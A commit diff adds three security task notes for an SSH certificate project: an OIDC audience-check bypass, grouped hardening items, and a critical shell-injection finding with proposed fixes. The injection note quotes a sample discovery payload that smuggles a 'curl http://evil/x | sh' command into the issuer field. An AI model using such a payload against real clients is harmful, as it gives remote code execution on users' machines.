several security related tasks

Author: brianm

.tasks/open/1g8ka9wq.md

@@ -0,0 +1,35 @@
+---
+yatl_version: 1
+title: 'Security: OIDC validator skips audience check when client_id empty'
+id: 1g8ka9wq
+created: 2026-06-23T16:52:29.960526897Z
+updated: 2026-06-23T16:52:29.960526897Z
+author: Brian McCallister
+priority: medium
+tags:
+- security
+- policyserver
+---
+
+OIDC validator silently disables audience check when ClientID is empty.
+
+Severity: MEDIUM (library footgun; not exploitable in the default server config)
+
+Location: pkg/policyserver/oidc/validator.go:83-88
+
+  if config.ClientID != "" {
+      verifierConfig.ClientID = config.ClientID
+  } else {
+      verifierConfig.SkipClientIDCheck = true   // accepts ANY audience
+  }
+
+With an empty ClientID, any token signed by the issuer is accepted regardless of its aud claim. Against a shared IdP (e.g. Google) an ID token minted for a DIFFERENT OAuth client at the same issuer would validate -> authentication bypass via token reuse. SkipExpiryCheck is similarly exposed on the Config.
+
+Why it is not currently exploitable end-to-end: ServerConfig.Validate() and PolicyRulesConfig.Validate() (pkg/policyserver/policy_config.go:38,134) require oidc.client_id, and the evaluator always passes it (pkg/policyserver/evaluator/evaluator.go:35,52). But the Validator is exported and enforces nothing itself; any other caller or future refactor silently loses audience binding.
+
+Fix: make NewValidator reject an empty ClientID (or require an explicit SkipClientIDCheck opt-in field) rather than silently degrading. Consider the same for SkipExpiryCheck.
+
+---
+# Log: 2026-06-23T16:52:29Z Brian McCallister
+
+Created task.

.tasks/open/kwxdbey2.md

@@ -0,0 +1,31 @@
+---
+yatl_version: 1
+title: 'Security hardening: signature replay window, --insecure scope, plain-HTTP policy fetch'
+id: kwxdbey2
+created: 2026-06-23T16:52:29.964019493Z
+updated: 2026-06-23T16:52:29.964019493Z
+author: Brian McCallister
+priority: low
+tags:
+- security
+- hardening
+---
+
+Hardening: defense-in-depth items from the security review. Low severity, grouped.
+
+1) Replayable HTTP signatures (pkg/httpsig/httpsig.go:22-29)
+   - 30s expiry + 60s skew window, no nonce/jti. CA->policy requests are replayable for ~90s. Low risk over unix socket/TLS, but a nonce or tighter window would harden the only authenticated channel into the policy server.
+
+2) --insecure is broad and propagated (pkg/tlsconfig/tlsconfig.go:39)
+   - InsecureSkipVerify applies to CA, OIDC discovery/JWKS, AND policy fetch; cmd/epithet/server.go:134 forwards it to all subprocesses. One flag disables all cert verification, including OIDC signing-key retrieval. Consider scoping more narrowly and/or a louder runtime warning.
+
+3) Dynamic policy fetched over plain HTTP (pkg/policyserver/loader.go:99)
+   - loadFromHTTP accepts http:// for the security-critical policy document with no integrity check; tlsconfig.ValidateURL is NOT applied here. Operator-controlled URL, but an on-path attacker on that hop could rewrite authorization rules. Enforce https:// (or signature) for remote policy URLs.
+
+4) Stale run-dir cleanup trusts PID liveness (cmd/epithet/agent.go cleanupStaleRunDirs)
+   - A recycled PID can keep a dead broker run dir alive, or a same-named live process blocks cleanup. Reliability nit, not a direct vuln.
+
+---
+# Log: 2026-06-23T16:52:29Z Brian McCallister
+
+Created task.

.tasks/open/t761tcz9.md

@@ -0,0 +1,40 @@
+---
+yatl_version: 1
+title: 'Security: command injection via CA discovery auth config (sh -c)'
+id: t761tcz9
+created: 2026-06-23T16:52:14.316555336Z
+updated: 2026-06-23T16:52:14.316555336Z
+author: Brian McCallister
+priority: critical
+tags:
+- security
+- broker
+---
+
+Command injection / RCE on clients via CA-controlled discovery auth config.
+
+Severity: HIGH
+
+When `epithet agent` runs without --auth (the documented default — host patterns come from CA discovery), the broker fetches the discovery config from the CA and turns it into the auth command it executes via `sh -c`.
+
+Chain:
+- cmd/epithet/agent.go:135 — authCommand = broker.AuthConfigToCommand(*discovery.Auth)
+- pkg/broker/auth.go:174 (AuthConfigToCommand) — for type "oidc", issuer/client_id/scopes are joined UNESCAPED via strings.Join(parts, " "); for type "command" the command is used as-is.
+- pkg/broker/auth.go:101 — exec.Command("sh", "-c", cmdLine) executes it.
+
+A malicious/compromised CA or policy server (or an active MITM when --insecure is set) can return a discovery payload like:
+  {"auth":{"type":"oidc","issuer":"x; curl http://evil/x | sh #","client_id":"y"}}
+yielding arbitrary code execution as the connecting user on EVERY client. Discovery is fetched unauthenticated (agent.go:126, empty token), so first contact is enough.
+
+Trust-model problem: "I trust this CA to issue SSH certs" is much weaker than "I let this CA run code as my user." Operators also treat issuer/client_id as inert data, not shell input.
+
+Fix options:
+- Build an argv and exec directly (no sh -c) for discovery-derived auth.
+- Strictly validate discovery values: issuer must parse as https:// URL; client_id/scopes against a charset allowlist.
+- Require explicit user opt-in before running a discovery-provided type:"command".
+- Add a regression test feeding hostile discovery values.
+
+---
+# Log: 2026-06-23T16:52:14Z Brian McCallister
+
+Created task.